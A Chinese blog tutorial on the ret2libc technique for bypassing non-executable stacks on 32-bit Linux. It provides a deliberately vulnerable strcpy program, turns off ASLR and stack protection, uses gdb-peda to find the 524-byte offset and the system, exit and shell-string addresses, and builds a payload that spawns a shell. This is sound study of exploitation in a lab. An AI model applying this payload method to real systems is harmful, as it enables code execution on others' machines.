linux中ret2libc入门与实践

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/counsellor/article/details/81986052

前言

本来想找一个windows下的栈溢出漏洞的poc作为漏洞分析路程的开篇,但是一路走来遇到了太多的问题,大大小小,什么都有。同时因为工作事情比较多,能拿出来调试和写文章的时间也是断断续续。昨天刚有一点心得,今天就忘了一大半,同时会推翻自己之前的结论。

经过漫长的求证过程,打算把NX利剑-ret2libc这种方法和其原理用简单直接的方式展示出来。

简介

DEP-数据执行保护(Data Execution Prevention).这是一套软硬件技术,能够在内存上执行额外检查以帮助防止在栈上执行恶意代码。其基本原理是将数据所在的内存页标识为不可执行,当缓冲区溢出成功跳转到shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不会执行恶意质量

return-to-libc 是一种对抗linux系统栈保护的攻击方法。我们知道大部分linux系统有栈保护机制(DEP)。简单的说,既然栈中的指令不能执行,我们可以找到libc中的函数去执行,这样就绕过了数据不可执行的问题了。

后面都将用ret2libc作为return-to-libc的简写表示。

攻击原理

通过把函数返回地址直接指向系统库中的函数(如system函数),同时构造该函数的输入参数栈,就可以达到代码执行的目的。

正常堆栈布局:
这里写图片描述

ret2libc执行system的堆栈布局:
这里写图片描述

这样我们就获得了攻击payload的布局结构:

A*N + system_addr + fake_ret + system_arg

这里放一个迷惑LZ很多天的溢出堆栈的布局:
这里写图片描述

第一段是说栈溢出,覆盖EIP跳转到shellcode位置执行;
第二段是说使用ret2libc执行system函数。

看出问题了吗?

system地址居然在EBP的位置。他丫的,颠覆三观有没有。EBP是记录栈底位置的,那不成要把程序的调用栈置换到代码区不成。

布局图片引用自mit的csail,明眼的人估计一看mit就亮了。他丫的,这可是麻省理工学院 计算机科学与人工智能实验室的paper。居然有这么大的错误。让我这种半瓶醋如何是好。传送门在此

环境

➜  ~ uname -a
Linux ubuntu 4.4.0-133-generic #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
➜  ~ gdb -v
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
➜  ~ pip show peda 
Name: peda
Version: 1.0
Summary: Python Exploit Development Assistance for GDB
Home-page: https://github.com/longld/peda
Author: Long Le Dinh
Author-email: longld@vnsecurity.net
License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License
Location: /usr/local/lib/python2.7/dist-packages

源码

这里是ret2libc测试用的源码,攻击payload在命令行输入。


#include <stdio.h>    
#include <string.h>    

void evilfunction(char *input) {    

    char buffer[512];    
    strcpy(buffer, input);    
}    

int main(int argc, char **argv) {    

    evilfunction(argv[1]);    

    return 0;    
}

payload为什么要在命令行输入?

因为system的参数“/bin/sh”这段字符串的地址会动态变化,需要手动捞出来之后在输入。当然还有额外的效果,就是源码简洁,攻击过程直观。

编译 & 关闭ASLR

编译

$ gcc -Wall -g -o stack3 stack3.c -fno-stack-protector -m32

关闭ASLR

# echo 0 > /proc/sys/kernel/randomize_va_space

需要解决的问题

根据上面的paylload结构,可以知道我们需要填充的有:

  1. 需要填充多少个A,或者说system地址从多少A后面开始写。
  2. system地址是多少?
  3. exit地址是多少?你可能会问说好的fake ret怎么变成exit地址了?因为exit函数可以清理被破坏的栈,导致程序不会崩溃。其实,在我看来填什么都行。
  4. system函数的执行参数“/bin/sh”这个字符串地址是多少?

运行

  1. 下断点,找到system和exit函数的地址
➜  test_execve gdb stack3 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack3...done.
gdb-peda$ b evilfunction 
Breakpoint 1 at 0x8048414: file a.c, line 8.

这里写图片描述

这样我们就知道了
system函数地址:0xf7e3f940
exit函数地址:0xf7e337b0
2. 找到evilfunction函数的ret位置
因为evilfunction中buffer声明的大小是512字节,所以我们用来溢出的字符串长度必然大于512.
这里通过peda工具计算ret的位置。

生成长度为530的字符串

gdb-peda$ pattern_create 530
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'

作为输入参数运行

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'
Starting program: /home/test/tmp/test_execve/stack3 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'

程序崩溃,找到EIP寄存器中的字符串’s9As’,即为ret-我们需要的返回地址。

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffc980 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x0 
ECX: 0xffffd0b0 --> 0x414f73 ('sOA')
EDX: 0xffffcb8f --> 0x414f73 ('sOA')
ESI: 0xf7fb5000 --> 0x1afdb0 
EDI: 0xf7fb5000 --> 0x1afdb0 
EBP: 0x416a7341 ('AsjA')
ESP: 0xffffcb90 --> 0xff00414f 
EIP: 0x73413973 ('s9As')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x73413973
[------------------------------------stack-------------------------------------]
0000| 0xffffcb90 --> 0xff00414f 
0004| 0xffffcb94 --> 0xffffcc54 --> 0xffffce7f ("/home/test/tmp/test_execve/stack3")
0008| 0xffffcb98 --> 0xffffcc60 --> 0xffffd0b4 ("GNOME_KEYRING_PID=")
0012| 0xffffcb9c --> 0x8048481 (<__libc_csu_init+33>:   lea    eax,[ebx-0xf8])
0016| 0xffffcba0 --> 0xf7fb53dc --> 0xf7fb61e0 --> 0x0 
0020| 0xffffcba4 --> 0xffffcbc0 --> 0x2 
0024| 0xffffcba8 --> 0x0 
0028| 0xffffcbac --> 0xf7e1d637 (<__libc_start_main+247>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x73413973 in ?? ()

计算ret偏移,得到524,所以我们要填充524个A。

gdb-peda$ pattern_
pattern_arg     pattern_create  pattern_env     pattern_offset  pattern_patch   pattern_search  
gdb-peda$ pattern_offset s9As
s9As found at offset: 524
  1. “/bin/sh”的地址

这里感觉比较巧妙,正常我们可以用自己过早的字符串放进去,但是,这样的话我们还得动态计算我们字符串的地址。ret2libc使用环境变量中的“/bin/sh”字符串作为参数。需要注意的是,环境变量的地址会动态变化,记得老外的文章中提过,每运行一次,好像地址会增加几个字节。

我的shell是zsh,所以在环境变量中找zsh就好了。

gdb-peda$  x/500s $esp
...
...
cf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.o"...
0xffffdbf4: "gv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;3"...
0xffffdcbc: "6:*.xspf=00;36:"
0xffffdccc: "SSH_AUTH_SOCK=/run/user/1000/keyring/ssh"
0xffffdcf5: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/test"
0xffffdd25: "SHELL=/bin/zsh"
0xffffdd34: "TERMINATOR_UUID=urn:uuid:773f4dc6-e568-4861-9206-7a07da238c4a"
0xffffdd72: "LC_NAME=zh_CN.UTF-8"
0xffffdd86: "GDMSESSION=ubuntu"
0xffffdd98: "QT_ACCESSIBILITY=1"

得到字符串”SHELL=/bin/zsh”的地址:0xffffdd25

进一步计算”/bin/zsh”的地址:

gdb-peda$ p 0xffffdd25+6
$1 = 0xffffdd2b

“/bin/zsh”的地址:0xffffdd2b

汇总

‘A’ * 524
0xf7e3f940 system
0xf7e337b0 exit
0xffffdd2b /bin/sh

攻击

运行命令:

gdb-peda$ r $(cat arg)
Starting program: /home/test/tmp/test_execve/stack3 $(cat arg)

这里写图片描述

在调用出来的zsh中我们可以运行各种命令,但是使用exit退出时,发现会卡住。理论上会完美推出的,结果这个样纸。原因还不明,有时间再查查。

总结

这个程序的成功执行得利于关闭ASLR,system和exit函数的地址才能固定下来。我们构造poc才方便很多。

ret2libc的精髓之处在于,把ret addr修改成libc库中的函数地址,并且构造了system函数的参数。对于DEP防御来说,你不让我执行我的代码,我就利用你的函数达到我的目的。这边是面向返回编程的设计思路。

这里写图片描述

参考文献

https://www.shellblade.net/docs/ret2libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
https://www.exploit-db.com/papers/13147/
https://blog.csdn.net/guilanl/article/details/61921481
https://blog.csdn.net/linyt/article/details/43643499
https://blog.csdn.net/linyt/article/details/48738757
https://blog.csdn.net/huqinwei987/article/details/23548239
https://pdfs.semanticscholar.org/presentation/ead2/ed949c8d3933d956868d092c8fc29f626ec2.pdf
https://blog.csdn.net/tzh_linux/article/details/50842814
https://exploit.courses/files/bfh2017/day4/0x51_ExploitMitigations.pdf

猜你喜欢

转载自blog.csdn.net/counsellor/article/details/81986052